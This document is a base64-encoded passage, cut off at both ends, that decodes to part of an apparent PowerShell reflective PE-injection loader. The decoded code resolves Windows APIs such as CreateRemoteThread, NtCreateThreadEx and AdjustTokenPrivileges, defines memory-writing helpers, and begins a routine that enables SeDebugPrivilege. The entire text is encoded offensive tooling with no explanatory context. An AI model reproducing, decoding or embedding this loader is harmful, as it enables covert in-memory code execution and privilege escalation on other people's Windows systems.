dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBv aW50ZXIoJENyZWF0ZVJlbW90ZVRocmVhZEFkZHIsICRDcmVhdGVSZW1vdGVUaHJlYWREZWxlZ2F0 ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0 eSAtTmFtZSBDcmVhdGVSZW1vdGVUaHJlYWQgLVZhbHVlICRDcmVhdGVSZW1vdGVUaHJlYWQKCQkK CQkkR2V0RXhpdENvZGVUaHJlYWRBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBH ZXRFeGl0Q29kZVRocmVhZAogICAgICAgICRHZXRFeGl0Q29kZVRocmVhZERlbGVnYXRlID0gR2V0 LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50MzJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29s XSkKICAgICAgICAkR2V0RXhpdENvZGVUaHJlYWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl cnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkR2V0RXhpdENv ZGVUaHJlYWRBZGRyLCAkR2V0RXhpdENvZGVUaHJlYWREZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlv bnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRFeGl0Q29k ZVRocmVhZCAtVmFsdWUgJEdldEV4aXRDb2RlVGhyZWFkCgkJCgkJJE9wZW5UaHJlYWRUb2tlbkFk ZHIgPSBHZXQtUHJvY0FkZHJlc3MgQWR2YXBpMzIuZGxsIE9wZW5UaHJlYWRUb2tlbgogICAgICAg ICRPcGVuVGhyZWFkVG9rZW5EZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwg W1VJbnQzMl0sIFtCb29sXSwgW0ludFB0cl0uTWFrZUJ5UmVmVHlwZSgpKSAoW0Jvb2xdKQogICAg ICAgICRPcGVuVGhyZWFkVG9rZW4gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1h cnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkT3BlblRocmVhZFRva2VuQWRk ciwgJE9wZW5UaHJlYWRUb2tlbkRlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1i ZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE9wZW5UaHJlYWRUb2tlbiAtVmFsdWUg JE9wZW5UaHJlYWRUb2tlbgoJCQoJCSRHZXRDdXJyZW50VGhyZWFkQWRkciA9IEdldC1Qcm9jQWRk cmVzcyBrZXJuZWwzMi5kbGwgR2V0Q3VycmVudFRocmVhZAogICAgICAgICRHZXRDdXJyZW50VGhy ZWFkRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoKSAoW0ludFB0cl0pCiAgICAgICAgJEdl dEN1cnJlbnRUaHJlYWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd OjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkR2V0Q3VycmVudFRocmVhZEFkZHIsICRH ZXRDdXJyZW50VGhyZWFkRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAt TWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgR2V0Q3VycmVudFRocmVhZCAtVmFsdWUgJEdl dEN1cnJlbnRUaHJlYWQKCQkKCQkkQWRqdXN0VG9rZW5Qcml2aWxlZ2VzQWRkciA9IEdldC1Qcm9j QWRkcmVzcyBBZHZhcGkzMi5kbGwgQWRqdXN0VG9rZW5Qcml2aWxlZ2VzCiAgICAgICAgJEFkanVz dFRva2VuUHJpdmlsZWdlc0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBb Qm9vbF0sIFtJbnRQdHJdLCBbVUludDMyXSwgW0ludFB0cl0sIFtJbnRQdHJdKSAoW0Jvb2xdKQog ICAgICAgICRBZGp1c3RUb2tlblByaXZpbGVnZXMgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNl cnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkQWRqdXN0VG9r ZW5Qcml2aWxlZ2VzQWRkciwgJEFkanVzdFRva2VuUHJpdmlsZWdlc0RlbGVnYXRlKQoJCSRXaW4z MkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIEFk anVzdFRva2VuUHJpdmlsZWdlcyAtVmFsdWUgJEFkanVzdFRva2VuUHJpdmlsZWdlcwoJCQoJCSRM b29rdXBQcml2aWxlZ2VWYWx1ZUFkZHIgPSBHZXQtUHJvY0FkZHJlc3MgQWR2YXBpMzIuZGxsIExv b2t1cFByaXZpbGVnZVZhbHVlQQogICAgICAgICRMb29rdXBQcml2aWxlZ2VWYWx1ZURlbGVnYXRl ID0gR2V0LURlbGVnYXRlVHlwZSBAKFtTdHJpbmddLCBbU3RyaW5nXSwgW0ludFB0cl0pIChbQm9v bF0pCiAgICAgICAgJExvb2t1cFByaXZpbGVnZVZhbHVlID0gW1N5c3RlbS5SdW50aW1lLkludGVy b3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvb2t1 cFByaXZpbGVnZVZhbHVlQWRkciwgJExvb2t1cFByaXZpbGVnZVZhbHVlRGVsZWdhdGUpCgkJJFdp bjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUg TG9va3VwUHJpdmlsZWdlVmFsdWUgLVZhbHVlICRMb29rdXBQcml2aWxlZ2VWYWx1ZQoJCQoJCSRJ bXBlcnNvbmF0ZVNlbGZBZGRyID0gR2V0LVByb2NBZGRyZXNzIEFkdmFwaTMyLmRsbCBJbXBlcnNv bmF0ZVNlbGYKICAgICAgICAkSW1wZXJzb25hdGVTZWxmRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVU eXBlIEAoW0ludDMyXSkgKFtCb29sXSkKICAgICAgICAkSW1wZXJzb25hdGVTZWxmID0gW1N5c3Rl bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlv blBvaW50ZXIoJEltcGVyc29uYXRlU2VsZkFkZHIsICRJbXBlcnNvbmF0ZVNlbGZEZWxlZ2F0ZSkK CQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAt TmFtZSBJbXBlcnNvbmF0ZVNlbGYgLVZhbHVlICRJbXBlcnNvbmF0ZVNlbGYKCQkKCiAgICAgICAg aWYgKChbRW52aXJvbm1lbnRdOjpPU1ZlcnNpb24uVmVyc2lvbiAtZ2UgKE5ldy1PYmplY3QgJ1Zl cnNpb24nIDYsMCkpIC1hbmQgKFtFbnZpcm9ubWVudF06Ok9TVmVyc2lvbi5WZXJzaW9uIC1sdCAo TmV3LU9iamVjdCAnVmVyc2lvbicgNiwyKSkpIHsKCQkgICAgJE50Q3JlYXRlVGhyZWFkRXhBZGRy ID0gR2V0LVByb2NBZGRyZXNzIE50RGxsLmRsbCBOdENyZWF0ZVRocmVhZEV4CiAgICAgICAgICAg ICROdENyZWF0ZVRocmVhZEV4RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0u TWFrZUJ5UmVmVHlwZSgpLCBbVUludDMyXSwgW0ludFB0cl0sIFtJbnRQdHJdLCBbSW50UHRyXSwg W0ludFB0cl0sIFtCb29sXSwgW1VJbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXSwgW0ludFB0cl0p IChbVUludDMyXSkKICAgICAgICAgICAgJE50Q3JlYXRlVGhyZWFkRXggPSBbU3lzdGVtLlJ1bnRp bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRl cigkTnRDcmVhdGVUaHJlYWRFeEFkZHIsICROdENyZWF0ZVRocmVhZEV4RGVsZWdhdGUpCgkJICAg ICRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1O YW1lIE50Q3JlYXRlVGhyZWFkRXggLVZhbHVlICROdENyZWF0ZVRocmVhZEV4CiAgICAgICAgfQoJ CQoJCSRJc1dvdzY0UHJvY2Vzc0FkZHIgPSBHZXQtUHJvY0FkZHJlc3MgS2VybmVsMzIuZGxsIElz V293NjRQcm9jZXNzCiAgICAgICAgJElzV293NjRQcm9jZXNzRGVsZWdhdGUgPSBHZXQtRGVsZWdh dGVUeXBlIEAoW0ludFB0cl0sIFtCb29sXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pCiAgICAg ICAgJElzV293NjRQcm9jZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz aGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJElzV293NjRQcm9jZXNzQWRkciwg JElzV293NjRQcm9jZXNzRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAt TWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSXNXb3c2NFByb2Nlc3MgLVZhbHVlICRJc1dv dzY0UHJvY2VzcwoJCQoJCSRDcmVhdGVUaHJlYWRBZGRyID0gR2V0LVByb2NBZGRyZXNzIEtlcm5l bDMyLmRsbCBDcmVhdGVUaHJlYWQKICAgICAgICAkQ3JlYXRlVGhyZWFkRGVsZWdhdGUgPSBHZXQt RGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbSW50UHRyXSwgW0ludFB0cl0sIFtV SW50MzJdLCBbVUludDMyXS5NYWtlQnlSZWZUeXBlKCkpIChbSW50UHRyXSkKICAgICAgICAkQ3Jl YXRlVGhyZWFkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0 RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJENyZWF0ZVRocmVhZEFkZHIsICRDcmVhdGVUaHJl YWREZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5v dGVQcm9wZXJ0eSAtTmFtZSBDcmVhdGVUaHJlYWQgLVZhbHVlICRDcmVhdGVUaHJlYWQKCQoJCSRM b2NhbEZyZWVBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBWaXJ0dWFsRnJlZQoJ CSRMb2NhbEZyZWVEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSkKCQkkTG9j YWxGcmVlID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVs ZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvY2FsRnJlZUFkZHIsICRMb2NhbEZyZWVEZWxlZ2F0 ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0eSAtTmFtZSBMb2Nh bEZyZWUgLVZhbHVlICRMb2NhbEZyZWUKCgkJcmV0dXJuICRXaW4zMkZ1bmN0aW9ucwoJfQoKCgkJ CQoKCgoKCgoJRnVuY3Rpb24gU3ViLVNpZ25lZEludEFzVW5zaWduZWQKCXsKCQlQYXJhbSgKCQlb UGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkk VmFsdWUxLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSld CgkJW0ludDY0XQoJCSRWYWx1ZTIKCQkpCgkJCgkJW0J5dGVbXV0kVmFsdWUxQnl0ZXMgPSBbQml0 Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMSkKCQlbQnl0ZVtdXSRWYWx1ZTJCeXRlcyA9IFtC aXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkVmFsdWUyKQoJCVtCeXRlW11dJEZpbmFsQnl0ZXMgPSBb Qml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoW1VJbnQ2NF0wKQoKCQlpZiAoJFZhbHVlMUJ5dGVzLkNv dW50IC1lcSAkVmFsdWUyQnl0ZXMuQ291bnQpCgkJewoJCQkkQ2FycnlPdmVyID0gMAoJCQlmb3Ig KCRpID0gMDsgJGkgLWx0ICRWYWx1ZTFCeXRlcy5Db3VudDsgJGkrKykKCQkJewoJCQkJJFZhbCA9 ICRWYWx1ZTFCeXRlc1skaV0gLSAkQ2FycnlPdmVyCgoJCQkJaWYgKCRWYWwgLWx0ICRWYWx1ZTJC eXRlc1skaV0pCgkJCQl7CgkJCQkJJFZhbCArPSAyNTYKCQkJCQkkQ2FycnlPdmVyID0gMQoJCQkJ fQoJCQkJZWxzZQoJCQkJewoJCQkJCSRDYXJyeU92ZXIgPSAwCgkJCQl9CgkJCQkKCQkJCQoJCQkJ W1VJbnQxNl0kU3VtID0gJFZhbCAtICRWYWx1ZTJCeXRlc1skaV0KCgkJCQkkRmluYWxCeXRlc1sk aV0gPSAkU3VtIC1iYW5kIDB4MDBGRgoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCVRocm93ICJDYW5u b3Qgc3VidHJhY3QgYnl0ZWFycmF5cyBvZiBkaWZmZXJlbnQgc2l6ZXMiCgkJfQoJCQoJCXJldHVy biBbQml0Q29udmVydGVyXTo6VG9JbnQ2NCgkRmluYWxCeXRlcywgMCkKCX0KCQoKCUZ1bmN0aW9u IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkCgl7CgkJUGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlv biA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbSW50NjRdCgkJJFZhbHVlMSwKCQkKCQlbUGFy YW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkkVmFs dWUyCgkJKQoJCQoJCVtCeXRlW11dJFZhbHVlMUJ5dGVzID0gW0JpdENvbnZlcnRlcl06OkdldEJ5 dGVzKCRWYWx1ZTEpCgkJW0J5dGVbXV0kVmFsdWUyQnl0ZXMgPSBbQml0Q29udmVydGVyXTo6R2V0 Qnl0ZXMoJFZhbHVlMikKCQlbQnl0ZVtdXSRGaW5hbEJ5dGVzID0gW0JpdENvbnZlcnRlcl06Okdl dEJ5dGVzKFtVSW50NjRdMCkKCgkJaWYgKCRWYWx1ZTFCeXRlcy5Db3VudCAtZXEgJFZhbHVlMkJ5 dGVzLkNvdW50KQoJCXsKCQkJJENhcnJ5T3ZlciA9IDAKCQkJZm9yICgkaSA9IDA7ICRpIC1sdCAk VmFsdWUxQnl0ZXMuQ291bnQ7ICRpKyspCgkJCXsKCgkJCQlbVUludDE2XSRTdW0gPSAkVmFsdWUx Qnl0ZXNbJGldICsgJFZhbHVlMkJ5dGVzWyRpXSArICRDYXJyeU92ZXIKCgkJCQkkRmluYWxCeXRl c1skaV0gPSAkU3VtIC1iYW5kIDB4MDBGRgoJCQkJCgkJCQlpZiAoKCRTdW0gLWJhbmQgMHhGRjAw KSAtZXEgMHgxMDApCgkJCQl7CgkJCQkJJENhcnJ5T3ZlciA9IDEKCQkJCX0KCQkJCWVsc2UKCQkJ CXsKCQkJCQkkQ2FycnlPdmVyID0gMAoJCQkJfQoJCQl9CgkJfQoJCWVsc2UKCQl7CgkJCVRocm93 ICJDYW5ub3QgYWRkIGJ5dGVhcnJheXMgb2YgZGlmZmVyZW50IHNpemVzIgoJCX0KCQkKCQlyZXR1 cm4gW0JpdENvbnZlcnRlcl06OlRvSW50NjQoJEZpbmFsQnl0ZXMsIDApCgl9CgkKCglGdW5jdGlv biBDb21wYXJlLVZhbDFHcmVhdGVyVGhhblZhbDJBc1VJbnQKCXsKCQlQYXJhbSgKCQlbUGFyYW1l dGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtJbnQ2NF0KCQkkVmFsdWUx LAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW0lu dDY0XQoJCSRWYWx1ZTIKCQkpCgkJCgkJW0J5dGVbXV0kVmFsdWUxQnl0ZXMgPSBbQml0Q29udmVy dGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMSkKCQlbQnl0ZVtdXSRWYWx1ZTJCeXRlcyA9IFtCaXRDb252 ZXJ0ZXJdOjpHZXRCeXRlcygkVmFsdWUyKQoKCQlpZiAoJFZhbHVlMUJ5dGVzLkNvdW50IC1lcSAk VmFsdWUyQnl0ZXMuQ291bnQpCgkJewoJCQlmb3IgKCRpID0gJFZhbHVlMUJ5dGVzLkNvdW50LTE7 ICRpIC1nZSAwOyAkaS0tKQoJCQl7CgkJCQlpZiAoJFZhbHVlMUJ5dGVzWyRpXSAtZ3QgJFZhbHVl MkJ5dGVzWyRpXSkKCQkJCXsKCQkJCQlyZXR1cm4gJHRydWUKCQkJCX0KCQkJCWVsc2VpZiAoJFZh bHVlMUJ5dGVzWyRpXSAtbHQgJFZhbHVlMkJ5dGVzWyRpXSkKCQkJCXsKCQkJCQlyZXR1cm4gJGZh bHNlCgkJCQl9CgkJCX0KCQl9CgkJZWxzZQoJCXsKCQkJVGhyb3cgIkNhbm5vdCBjb21wYXJlIGJ5 dGUgYXJyYXlzIG9mIGRpZmZlcmVudCBzaXplIgoJCX0KCQkKCQlyZXR1cm4gJGZhbHNlCgl9CgkK CglGdW5jdGlvbiBDb252ZXJ0LVVJbnRUb0ludAoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9z aXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1VJbnQ2NF0KCQkkVmFsdWUKCQkpCgkJ CgkJW0J5dGVbXV0kVmFsdWVCeXRlcyA9IFtCaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkVmFsdWUp CgkJcmV0dXJuIChbQml0Q29udmVydGVyXTo6VG9JbnQ2NCgkVmFsdWVCeXRlcywgMCkpCgl9CgkK CQoJRnVuY3Rpb24gVGVzdC1NZW1vcnlSYW5nZVZhbGlkCgl7CgkJUGFyYW0oCgkJW1BhcmFtZXRl cihQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSREZWJ1Z1N0 cmluZywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJ CVtTeXN0ZW0uT2JqZWN0XQoJCSRQRUluZm8sCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIs IE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRTdGFydEFkZHJlc3MsCgkJCgkJW1Bh cmFtZXRlcihQYXJhbWV0ZXJTZXROYW1lID0gIlNpemUiLCBQb3NpdGlvbiA9IDMsIE1hbmRhdG9y eSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRTaXplCgkJKQoJCQoJICAgIFtJbnRQdHJdJEZpbmFs RW5kQWRkcmVzcyA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkU3RhcnRBZGRy ZXNzKSAoJFNpemUpKQoJCQoJCSRQRUVuZEFkZHJlc3MgPSAkUEVJbmZvLkVuZEFkZHJlc3MKCQkK CQlpZiAoKENvbXBhcmUtVmFsMUdyZWF0ZXJUaGFuVmFsMkFzVUludCAoJFBFSW5mby5QRUhhbmRs ZSkgKCRTdGFydEFkZHJlc3MpKSAtZXEgJHRydWUpCgkJewoJCQlUaHJvdyAiVHJ5aW5nIHRvIHdy aXRlIHRvIG1lbW9yeSBzbWFsbGVyIHRoYW4gYWxsb2NhdGVkIGFkZHJlc3MgcmFuZ2UuICREZWJ1 Z1N0cmluZyIKCQl9CgkJaWYgKChDb21wYXJlLVZhbDFHcmVhdGVyVGhhblZhbDJBc1VJbnQgKCRG aW5hbEVuZEFkZHJlc3MpICgkUEVFbmRBZGRyZXNzKSkgLWVxICR0cnVlKQoJCXsKCQkJVGhyb3cg IlRyeWluZyB0byB3cml0ZSB0byBtZW1vcnkgZ3JlYXRlciB0aGFuIGFsbG9jYXRlZCBhZGRyZXNz IHJhbmdlLiAkRGVidWdTdHJpbmciCgkJfQoJfQoJCgkKCUZ1bmN0aW9uIFdyaXRlLUJ5dGVzVG9N ZW1vcnkKCXsKCQlQYXJhbSgKCQkJW1BhcmFtZXRlcihQb3NpdGlvbj0wLCBNYW5kYXRvcnkgPSAk dHJ1ZSldCgkJCVtCeXRlW11dCgkJCSRCeXRlcywKCQkJCgkJCVtQYXJhbWV0ZXIoUG9zaXRpb249 MSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCQlbSW50UHRyXQoJCQkkTWVtb3J5QWRkcmVzcwoJCSkK CQoJCWZvciAoJE9mZnNldCA9IDA7ICRPZmZzZXQgLWx0ICRCeXRlcy5MZW5ndGg7ICRPZmZzZXQr KykKCQl7CgkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OldyaXRl Qnl0ZSgkTWVtb3J5QWRkcmVzcywgJE9mZnNldCwgJEJ5dGVzWyRPZmZzZXRdKQoJCX0KCX0KCQoK CglGdW5jdGlvbiBHZXQtRGVsZWdhdGVUeXBlCgl7CgkgICAgUGFyYW0KCSAgICAoCgkgICAgICAg IFtPdXRwdXRUeXBlKFtUeXBlXSldCgkgICAgICAgIAoJICAgICAgICBbUGFyYW1ldGVyKCBQb3Np dGlvbiA9IDApXQoJICAgICAgICBbVHlwZVtdXQoJICAgICAgICAkUGFyYW1ldGVycyA9IChOZXct T2JqZWN0IFR5cGVbXSgwKSksCgkgICAgICAgIAoJICAgICAgICBbUGFyYW1ldGVyKCBQb3NpdGlv biA9IDEgKV0KCSAgICAgICAgW1R5cGVdCgkgICAgICAgICRSZXR1cm5UeXBlID0gW1ZvaWRdCgkg ICAgKQoKCSAgICAkRG9tYWluID0gW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4KCSAgICAkRHlu QXNzZW1ibHkgPSBOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnUmVm bGVjdGVkRGVsZWdhdGUnKQoJICAgICRBc3NlbWJseUJ1aWxkZXIgPSAkRG9tYWluLkRlZmluZUR5 bmFtaWNBc3NlbWJseSgkRHluQXNzZW1ibHksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2Vt Ymx5QnVpbGRlckFjY2Vzc106OlJ1bikKCSAgICAkTW9kdWxlQnVpbGRlciA9ICRBc3NlbWJseUJ1 aWxkZXIuRGVmaW5lRHluYW1pY01vZHVsZSgnSW5NZW1vcnlNb2R1bGUnLCAkZmFsc2UpCgkgICAg JFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgnTXlEZWxlZ2F0ZVR5cGUn LCAnQ2xhc3MsIFB1YmxpYywgU2VhbGVkLCBBbnNpQ2xhc3MsIEF1dG9DbGFzcycsIFtTeXN0ZW0u TXVsdGljYXN0RGVsZWdhdGVdKQoJICAgICRDb25zdHJ1Y3RvckJ1aWxkZXIgPSAkVHlwZUJ1aWxk ZXIuRGVmaW5lQ29uc3RydWN0b3IoJ1JUU3BlY2lhbE5hbWUsIEhpZGVCeVNpZywgUHVibGljJywg W1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCAkUGFyYW1l dGVycykKCSAgICAkQ29uc3RydWN0b3JCdWlsZGVyLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoJ1J1 bnRpbWUsIE1hbmFnZWQnKQoJICAgICRNZXRob2RCdWlsZGVyID0gJFR5cGVCdWlsZGVyLkRlZmlu ZU1ldGhvZCgnSW52b2tlJywgJ1B1YmxpYywgSGlkZUJ5U2lnLCBOZXdTbG90LCBWaXJ0dWFsJywg JFJldHVyblR5cGUsICRQYXJhbWV0ZXJzKQoJICAgICRNZXRob2RCdWlsZGVyLlNldEltcGxlbWVu dGF0aW9uRmxhZ3MoJ1J1bnRpbWUsIE1hbmFnZWQnKQoJICAgIAoJICAgIFdyaXRlLU91dHB1dCAk VHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpCgl9CgoKCglGdW5jdGlvbiBHZXQtUHJvY0FkZHJlc3MK CXsKCSAgICBQYXJhbQoJICAgICgKCSAgICAgICAgW091dHB1dFR5cGUoW0ludFB0cl0pXQoJICAg IAoJICAgICAgICBbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICRUcnVlICld CgkgICAgICAgIFtTdHJpbmddCgkgICAgICAgICRNb2R1bGUsCgkgICAgICAgIAoJICAgICAgICBb UGFyYW1ldGVyKCBQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICRUcnVlICldCgkgICAgICAgIFtT dHJpbmddCgkgICAgICAgICRQcm9jZWR1cmUKCSAgICApCgoKCSAgICAkU3lzdGVtQXNzZW1ibHkg PSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5HZXRBc3NlbWJsaWVzKCkgfAoJICAgICAgICBX aGVyZS1PYmplY3QgeyAkXy5HbG9iYWxBc3NlbWJseUNhY2hlIC1BbmQgJF8uTG9jYXRpb24uU3Bs aXQoJ1xcJylbLTFdLkVxdWFscygnU3lzdGVtLmRsbCcpIH0KCSAgICAkVW5zYWZlTmF0aXZlTWV0 aG9kcyA9ICRTeXN0ZW1Bc3NlbWJseS5HZXRUeXBlKCdNaWNyb3NvZnQuV2luMzIuVW5zYWZlTmF0 aXZlTWV0aG9kcycpCgoJICAgICRHZXRNb2R1bGVIYW5kbGUgPSAkVW5zYWZlTmF0aXZlTWV0aG9k cy5HZXRNZXRob2QoJ0dldE1vZHVsZUhhbmRsZScpCgkgICAgJEdldFByb2NBZGRyZXNzID0gJFVu c2FmZU5hdGl2ZU1ldGhvZHMuR2V0TWV0aG9kKCdHZXRQcm9jQWRkcmVzcycpCgoJICAgICRLZXJu MzJIYW5kbGUgPSAkR2V0TW9kdWxlSGFuZGxlLkludm9rZSgkbnVsbCwgQCgkTW9kdWxlKSkKCSAg ICAkdG1wUHRyID0gTmV3LU9iamVjdCBJbnRQdHIKCSAgICAkSGFuZGxlUmVmID0gTmV3LU9iamVj dCBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuSGFuZGxlUmVmKCR0bXBQdHIsICRLZXJu MzJIYW5kbGUpCgoKCSAgICBXcml0ZS1PdXRwdXQgJEdldFByb2NBZGRyZXNzLkludm9rZSgkbnVs bCwgQChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZl0kSGFuZGxlUmVm LCAkUHJvY2VkdXJlKSkKCX0KCQoJCglGdW5jdGlvbiBFbmFibGUtU2VEZWJ1Z1ByaXZpbGVnZQoJ ewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSld CgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyRnVuY3Rpb25zLAoJCQoJCVtQYXJhbWV0ZXIoUG9z aXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMy VHlwZXMsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0K CQlbU3lzdGVtLk9iamVjdF0KCQkkV2luMzJDb25zdGFudHMKCQkpCgkJCgkJW0ludFB0cl0kVGhy ZWFkSGFuZGxlID0gJFdpbjMyRnVuY3Rpb25zLkdldEN1cnJlbnRUaHJlYWQuSW52b2tlKCkKCQlp ZiAoJFRocmVhZEhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQlUaHJvdyAiVW5hYmxl IHRvIGdldCB0aGUgaGFuZGxlIHRvIHRoZSBjdXJyZW50IHRocmVhZCIKCQl9CgkJCgkJW0ludFB0 cl0kVGhyZWFkVG9rZW4gPSBbSW50UHRyXTo6WmVybwoJCVtCb29sXSRSZXN1bHQgPSAkV2luMzJG dW5jdGlvbnMuT3BlblRocmVhZFRva2VuLkludm9rZSgkVGhyZWFkSGFuZGxlLCAkV2luMzJDb25z 